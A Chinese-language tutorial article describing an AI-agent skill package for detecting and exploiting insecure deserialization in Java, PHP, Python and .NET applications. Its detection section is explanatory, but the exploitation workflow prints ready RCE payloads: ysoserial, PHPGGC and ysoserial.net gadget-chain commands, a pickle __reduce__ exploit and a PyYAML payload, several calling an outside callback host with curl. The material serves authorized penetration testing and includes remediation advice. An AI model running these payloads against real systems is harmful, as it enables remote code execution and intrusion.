
Anthropic-Cybersecurity-Skills 实战构建 Java / PHP / Python / .NET 不安全反序列化检测 Agent【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读本文围绕仓库中exploiting-insecure-deserialization技能包展开它以 api-reference.md 为 API 契约、以 SKILL.md 为攻击流程指南、以 agent.py 为可运行实现构成一套面向 AI Agent 的不安全反序列化检测完整方案。读完本文你将掌握如何用一条 CLI 命令自动扫描 HTTP 流量中的序列化特征Java、.NET ViewState、PHP、Python pickle如何生成 URLDNS /__reduce__等带外OOB探测载荷以及如何配合 ysoserial、PHPGGC、ysoserial.net 完成授权的反序列化 RCE 验证并输出标准化报告。一、技能包定位Agent 可执行的 Web 安全检测单元在 SKILL.md 的元数据中该技能被定义为domain: cybersecurity、subdomain: web-application-security关键标签包括deserialization、rce、owasp、ysoserial并明确限定其使用场景为授权渗透测试中对 Java、PHP、Python、.NET 应用的不安全反序列化进行识别与利用。它在框架映射上也相当完整框架映射项说明MITRE ATTCKT1190利用面向公众的应用、T1059.007JavaScript/命令执行、T1505.003Web Shell、T1083文件与目录发现攻击链覆盖入口利用 → 代码执行 → 持久化NIST CSF 2.0PR.PS-01、ID.RA-01、PR.DS-10、DE.CM-01覆盖保护、识别、数据安全、检测四大能力OWASPA08:2025 Software and Data Integrity Failures仓库在 mappings/owasp/README.md 中将数据完整性失败明确归类为反序列化等完整性校验缺失场景整个技能包的文件结构非常简洁遵循SKILL.md references scripts的 Agent 技能标准skills/exploiting-insecure-deserialization/ ├── SKILL.md # 使用时机、前置条件、六步攻击工作流、输出模板 ├── references/ │ └── api-reference.md # 检测 Agent 的 API 契约依赖、CLI、函数、输出 Schema ├── scripts/ │ └── agent.py # 检测 Agent 的可运行实现约 180 行 └── LICENSE # Apache-2.0二、检测 Agent 依赖与运行环境根据 api-reference.md检测 Agent 的依赖极轻只需两块库版本要求用途requests2.28发起 HTTP 请求扫描响应 Cookie 与响应体picklePython 标准库生成 pickle 探测载荷验证 Python 反序列化在 agent.py 中可以看到requests是唯一的外部依赖导入失败时会直接提示pip install requestspickle则在test_python_pickle函数内部按需导入。这意味着该 Agent 可以在最小化的 Python 3 环境中直接运行非常适合嵌入 CI/CD、SOAR 剧本或作为 Agent 的一次性检测工具。三、CLI 用法一条命令完成整站扫描检测 Agent 的入口是scripts/agent.py其标准调用方式如下python scripts/agent.py --url https://target.example.com/dashboard \ --callback oob.attacker.com --output deser_report.json对应源码中 main() 的参数定义三个参数的含义与默认值分别为参数必填默认值说明--url是无目标 URLAgent 将对其发起 GET 请求并扫描返回的 Cookie 与响应体--callback否空字符串带外回调主机如 interactsh / Collaborator 域名用于反序列化探测的 DNS/HTTP 回调确认--output否deserialization_report.jsonJSON 报告输出路径执行后Agent 会调用run_assessment(url, callback_host)编排完整扫描将报告写入--output指定的 JSON 文件同时在终端以json.dumps(report, indent2)打印可读报告。四、核心函数族从识别到探测的完整链路4.1detect_serialization_format(data) - str格式识别器该函数是整套检测能力的眼输入一个字符串输出java_serialized、java_gzipped_serialized、dotnet_viewstate、php_serialized、java_serialized_base64、python_pickle之一无法识别时返回None。从 agent.py 的 detect_serialization_format 的实现看识别优先级依次为以rO0AB开头 → Java Base64 序列化以H4sIAAAAAAAA开头 → Gzip 压缩后的 Java 序列化对应 SKILL.md 中提到的 GzipBase64 特征以/wE开头 → .NET ViewState匹配[OaCsid]:\d:正则 → PHP 序列化对象O:、数组a:、字符串s:等标记对值的前 16 字节做 Base64 解码解码后以\xac\xed\x00\x05JAVA_MAGIC开头 → Base64 包裹的 Java 二进制流首字节为\x80→ Python pickle协议版本字节。4.2scan_cookies(url, session) - listCookie 扫描使用requests.Session对目标 URL 发起 GET 请求遍历响应中的每个 Cookie用detect_serialization_format逐一判定其 value命中则记录location、name、format、value_preview前 60 字符与domain。源码中通过logger.warning输出告警便于在扫描日志中快速定位。这是检测Session Cookie 存序列化对象这一最常见场景的核心手段。4.3scan_response_body(url, method, data) - list响应体扫描支持指定 HTTP 方法与 JSON 请求体对响应文本做三类正则匹配见 scan_response_bodyrO0AB[A-Za-z0-9/]{10,}→ 内嵌的 Java Base64 序列化对象[OaCsid]:\d:→ PHP 序列化对象/数组标记__VIEWSTATE[^]*([^])→ ASP.NET 表单中的 ViewState 隐藏字段。每个命中都会记录locationresponse_body或viewstate_field、format与value_preview。4.4 三类主动探测函数函数原理对应源码位置test_java_deserialization(url, cookie_name, callback_host)构造 URLDNS 风格探针将 Java 魔数\xac\xed\x00\x05与回调域名拼入 Cookie 值若服务端对 Cookie 反序列化会触发对http://callback_host/java-deser-test的 DNS 解析从而在 OOB 侧收到回调test_java_deserializationtest_php_deserialization(url, param_name)依次发送三个 PHP 序列化载荷O:4:User:...roleadmin对象注入、a:1:{s:4:role;s:5:admin;}数组注入、b:1;布尔标记观察响应状态码与内容长度的差异test_php_deserializationtest_python_pickle(url, param_name, callback_host)定义__reduce__返回(os.system, (fnslookup {callback_host},))的 Probe 类序列化并 Base64 后 POST 到目标若目标对参数反序列化即触发nslookup带外回调test_python_pickle值得强调的是Agent 内置的主动探测载荷全部选择无 RCE 副作用的检测型载荷DNS 回调、角色注入、nslookup与 SKILL.md 中URLDNS Gadget 用于安全检测的定位一致适合在授权范围内先做无破坏性确认再进入利用阶段。4.5run_assessment(url, callback_host) - dict总编排器将 Cookie 扫描与响应体扫描结果聚合输出target、serialized_data_found总命中数、cookie_findings、response_body_findings以及去重后的formats_detected列表见 run_assessment。五、序列化特征速查表流量中的指纹api-reference.md 给出的序列化标记表是人工排查流量时最常用的速查依据与detect_serialization_format的实现一一对应格式魔数 / 前缀示例Java 二进制\xac\xed\x00\x05原始字节Java Base64rO0ABBase64 编码后Java GzipBase64H4sIAAAAAAAAgzip 压缩后再编码见 SKILL.md.NET ViewState/wE__VIEWSTATE隐藏字段PHPO:4:、a:2:对象 / 数组记法Python pickle\x80协议字节Base64 编码后排查时建议优先检查以下位置会话 Cookie、隐藏表单字段__VIEWSTATE、__EVENTVALIDATION、API 请求/响应体、WebSocket 消息、消息队列载荷JMS、RabbitMQ、Redis、缓存条目Memcached、Redis。六、输出 Schema机器可读的统一报告Agent 输出遵循 api-reference.md 定义的 JSON Schema{ target: https://target.example.com/, serialized_data_found: 2, cookie_findings: [{name: session, format: java_serialized}], formats_detected: [java_serialized] }该 Schema 由 run_assessment 直接产出字段名为cookie_findings、response_body_findings、formats_detected结构化的输出使 Agent 可以轻松将结果投递给下一环节——例如拼接到 SKILL.md 提供的Finding 模板中生成最终漏洞报告。七、从检出到利用SKILL.md 六步工作流检测 Agent 解决的是找出反序列化入口而 SKILL.md 给出了从检出到确认 RCE 的完整利用工作流两者配合才是完整闭环Step 1 识别流量中的序列化数据用上文特征表在 Burp 代理历史中搜索rO0AB等特征或直接对疑似值解码验证echo rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA... | base64 -d | xxd | headStep 2 Javaysoserial 生成载荷以 URLDNS 作无副作用探测以 CommonsCollections / Spring / Hibernate 等 gadget chain 验证 RCE# 最安全的探测载荷仅 DNS 回调 java -jar ysoserial.jar URLDNS http://java-deser.abc123.oast.fun | base64 -w0 # 常用 RCE gadget chain java -jar ysoserial.jar CommonsCollections5 whoami | base64 -w0 java -jar ysoserial.jar Spring1 curl http://abc123.oast.fun/spring | base64 -w0 # 注入 Cookie 发送 PAYLOAD$(java -jar ysoserial.jar CommonsCollections5 curl http://abc123.oast.fun/confirm | base64 -w0) curl -s -X POST -b session$PAYLOAD https://target.example.com/dashboardStep 3 PHPPHPGGC 生成 gadget chain针对 Laravel、Symfony、WordPressGuzzle、Monolog 等框架./phpggc -l # 列出可用链 ./phpggc Laravel/RCE1 system id -b # Laravel RCE ./phpggc Symfony/RCE4 exec curl http://abc123.oast.fun/php-rce -b ./phpggc Guzzle/RCE1 system id -b # WordPress 场景SKILL.md 还提示了两种 PHP 对象注入变形修改序列化串中的role字段实现越权s:4:user→s:5:admin以及用类型混淆s:4:role→i:1绕过部分校验。Step 4 .NETysoserial.net 与 ViewState先确认目标是否启用 ViewState MAC未启用或已知 machine key 时可构造恶意 ViewState./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \ -c curl http://abc123.oast.fun/dotnet-rce -o base64 ./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c whoami -o base64同时留意Content-Type: application/octet-stream/application/x-msbin的 BinaryFormatter API 端点与.rem远程调用端点。Step 5 Pythonpickle 与 PyYAML用__reduce__构造 RCE 载荷与 Agent 的test_python_pickle同型但更激进并覆盖 YAML 反序列化向量import pickle, base64, os class Exploit: def __reduce__(self): return (os.system, (curl http://abc123.oast.fun/pickle-rce,)) payload base64.b64encode(pickle.dumps(Exploit())).decode() print(fPickle payload: {payload})# PyYAML 反序列化 curl -s -X POST -H Content-Type: application/x-yaml \ -d !!python/object/apply:os.system [curl http://abc123.oast.fun/yaml] \ https://target.example.com/api/configStep 6 确认利用与记录影响通过 OOB 回调DNS/HTTP、时间盲测sleep 10类载荷对比响应耗时、命令输出外带$(whoami)三重手段确认 RCE并定位存在漏洞的库版本如 commons-collections 3.x / 4.0、spring-core、hibernate-core、groovy最终套用 SKILL.md 自带的Finding 模板输出规范报告**Vulnerability**: Insecure Deserialization - Remote Code Execution **Severity**: Critical (CVSS 9.8) **OWASP Category**: A08:2021 - Software and Data Integrity Failures模板还要求给出复现步骤、受影响库如commons-collections 3.2.1对应 CVE-2015-7501、确认影响范围与修复建议改用 JSON/Protobuf、升级库、启用 JEP 290 反序列化过滤器、类白名单、HMAC 完整性校验。八、典型攻击场景速览SKILL.md 归纳了四个高频场景与 Agent 的函数能力一一对应场景载体利用方式Java Session Cookie RCErO0AB前缀 Cookieysoserial CommonsCollectionsPHP Laravel Unserialize隐藏表单字段PHPGGC Laravel RCE 链.NET ViewState 无 MAC__VIEWSTATE字段ysoserial.net 恶意 ViewStatePython Pickle 缓存投毒Redis 等缓存恶意 pickle 载荷注入缓存反序列化时触发九、使用边界与合规前提需要明确两点约束这也是将本技能包用于生产环境的前提授权要求SKILL.md 的 Prerequisites 第一条即包含 RCE 测试范围的书面渗透测试协议且 agent.py 源码首行注释明确仅限实验室 / CTF 环境的授权测试。本技能包定位是授权测试工具绝非无边界攻击工具。检测优先Agent 内置载荷均为无副作用的探测型载荷DNS 回调 /nslookup/ 角色注入而 RCE 载荷ysoserial gadget chain、PHPGGC 链、pickle 系统命令需要分析师在授权范围内审慎手动生成。十、小结exploiting-insecure-deserialization技能包为 AI Agent 提供了格式识别 → 入口定位 → 载荷探测 → 报告输出的完整能力链api-reference.md定义了轻量且机器可读的 Agent 接口agent.py以约 180 行代码给出了可落地的实现格式识别、Cookie/响应体扫描、三类 OOB 探测SKILL.md则补齐了 ysoserial / PHPGGC / ysoserial.net 的实战利用方法论与标准化报告模板。对希望把反序列化检测自动化、Agent 化的团队而言这是一个结构清晰、可直接嵌入检测流水线的参考实现。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考